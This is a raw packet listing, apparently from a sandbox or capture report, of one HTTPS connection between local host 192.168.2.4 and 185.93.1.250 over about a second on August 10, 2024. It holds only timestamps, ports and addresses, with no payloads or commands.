Aug 10, 2024 19:10:07.538467884 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.625238895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.625294924 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.625435114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.625488043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.625550985 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.625551939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.625551939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.625551939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.625617981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.625850916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.625896931 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.626090050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.626091003 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.626154900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.626368999 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.626420021 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.626442909 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.626457930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.626497030 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.627089977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.627134085 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.627163887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.627177954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.627207041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.627772093 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.627823114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.627842903 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.627855062 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.627890110 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.630521059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.630565882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.630595922 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.630609035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.630655050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.631000996 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.631048918 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.631180048 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.631181002 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.631243944 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.676193953 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.717365026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.717420101 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.717565060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.717565060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.717628002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.717665911 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.717700005 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.717715025 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.717746019 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.717755079 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.717761993 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.717782974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.717843056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.717843056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.718524933 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.718588114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.718611002 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.718625069 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.718658924 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.718686104 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.718777895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.718828917 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.718852997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.718863010 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.718898058 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.718918085 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.719543934 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.719600916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.719618082 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.719630003 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.719664097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.719765902 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.720102072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.720160007 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.720182896 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.720192909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.720222950 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.720242977 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.722923994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.722965956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.723016977 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.723027945 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.723053932 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.723097086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.723315954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.723359108 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.723386049 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.723407030 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.723423004 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.723448038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.723485947 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.810594082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.810653925 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.810683012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.810748100 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.810791016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.810791016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.810807943 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.810816050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.810867071 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.810894012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.810918093 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.810929060 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.810950994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.811019897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.811021090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.811186075 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.811224937 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.811383009 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.811383009 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.811444998 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.811503887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.812252998 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.812313080 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.812331915 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.812347889 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.812383890 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.812383890 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.812460899 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.812536001 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.812550068 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.812577963 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.812598944 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.812625885 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.812625885 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.813324928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.813384056 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.813402891 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.813416004 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.813450098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.813469887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.815561056 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.815618038 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.815639973 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.815650940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.815685987 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.815685987 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.815948009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.815990925 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.816020012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.816030979 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.816061020 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.816095114 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.903851986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.903915882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904045105 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904045105 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904139042 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904205084 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904584885 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904653072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904670000 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904685974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904716015 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904736996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904819012 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904870987 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904881954 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904900074 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.904936075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.904956102 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.905663013 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.905730963 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.905750990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.905762911 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.905802965 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.905803919 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.905977964 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.906028986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.906038046 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.906056881 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.906090975 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.906131029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.906682014 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.906728029 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.906738997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.906752110 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.906785965 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.906805038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.914136887 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.914196014 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.914352894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.914387941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.914387941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.914406061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.914434910 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.914447069 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.914494038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.957448959 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.996469975 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.996562004 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.996700048 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.996701002 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.996764898 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.996800900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.996824026 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.996838093 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.996872902 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.996880054 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.996889114 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.996906042 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.996943951 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.996968985 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.997690916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.997747898 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.997874975 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.997874975 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.997936964 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.997992039 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.998126030 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.998178005 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.998326063 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.998326063 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.998326063 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.998389959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.998456955 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.998987913 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.999047995 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.999069929 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.999085903 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.999119043 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.999135971 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.999397039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.999449015 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.999475956 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.999486923 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:07.999521017 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:07.999562025 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.006149054 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.006218910 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.006354094 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.006354094 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.006416082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.006475925 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.007076025 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.007139921 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.007265091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.007266045 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.007328033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.007385969 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.088938951 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.088999987 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.089165926 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.089165926 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.089185953 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.089219093 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.089261055 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.089261055 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.089270115 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.089293957 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.089502096 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.089502096 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.090187073 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.090246916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.090354919 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.090406895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.090415955 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.090415955 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.090478897 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.090532064 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.090532064 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.091183901 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.091238976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.091264963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.091289043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.091315985 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.091398954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.091450930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.091470003 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.091481924 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.091516018 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.098514080 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.098572016 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.098707914 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.098709106 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.098776102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.099416971 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.099483013 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.099618912 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.099620104 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.099620104 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.099684954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.144941092 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.181345940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.181413889 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.181442976 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.181507111 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.181569099 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.181570053 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.181570053 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.181744099 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.181793928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.181811094 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.181829929 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.181859016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.181879997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.182725906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.182790041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.182825089 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.182840109 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.182868004 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.182868004 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.182893038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.183147907 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.183206081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.183226109 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.183235884 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.183265924 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.183285952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.183348894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.183396101 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.183414936 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.183425903 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.183454990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.183491945 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.184323072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.184365034 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.184395075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.184407949 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.184462070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.190917015 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.190983057 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.191006899 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.191030025 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.191055059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.191055059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.191076994 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.191592932 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.191637993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.191669941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.191685915 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.191729069 CEST	49734	443	192.168.2.4	185.93.1.250
